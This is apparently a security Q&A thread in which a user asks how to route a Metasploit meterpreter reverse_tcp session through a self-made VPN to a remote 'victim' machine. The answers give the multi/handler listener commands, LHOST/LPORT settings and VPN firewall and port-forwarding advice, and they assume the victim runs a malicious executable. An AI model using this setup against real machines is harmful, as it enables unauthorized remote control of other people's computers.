I have the following situation:

Attacker machine connected to a router with public IP assigned from ISP, forwarding enabled.

Victim machine connected to another router, (obviously) different IP assigned from different ISP.

I want establish a meterpreter session with reverse tcp. I create payload executable with msfvenom giving public IP of attacker router as LHOST parameter, then I start the listener setting the local IP of attacker machine as LHOST.

Till here no problem.

I tried to do the same with the attacker machine connected to a self made VPN server with no success. Is possible to do this?

If so, which IP addresses I have to set both in payload and in listener to get it working?

2 Answers 2


If you are using a reverse shell, you need to set LHOST with the attacker VPN IP, not your internal LAN IP. Also you need to listen locally with Metasploit to a specific port that you should set on LPORT and must be the same of msfvenom (es. 443). To achieve this you can use:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST your_vpn_ip
set LPORT your_local_port

Then just wait the victim open your malicious executable file

  • Ok, and what about LHOST in msfvenom? I've tried using VPN public IP with no success.
    – MKay
    Commented Apr 2, 2016 at 11:03
  • Are you sure that the victim machine can connects to your VPN? Try to ping your VPN IP, is it reachable?
    – user102753
    Commented Apr 2, 2016 at 11:11
  • Effectively ping from victim to VPN does not work, but I can connect to VPN from every IP address. why?
    – MKay
    Commented Apr 2, 2016 at 11:21
  • I think it's a firewall problem. Try to disable it on VPN server, ping again the VPN, if it works you need to set a rule into VPN machine firewall
    – user102753
    Commented Apr 2, 2016 at 11:26
  • 1
    Yes because VPN can connect your machine into a remote LAN, if you use your VPN IP into the LHOST parameter you need to connect your victim machine into the same VPN. With this method you have 2 machine connected into a sort of LAN
    – user102753
    Commented Apr 2, 2016 at 12:52

Yes it is possible if you are using openvpn. You could setup a dmz. Openvpn has the capability's to do it. A vpn public ip can forward ports to its clients if configured with dmz. You should set the IP of your VPN and not your internal client ip as LHOST

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .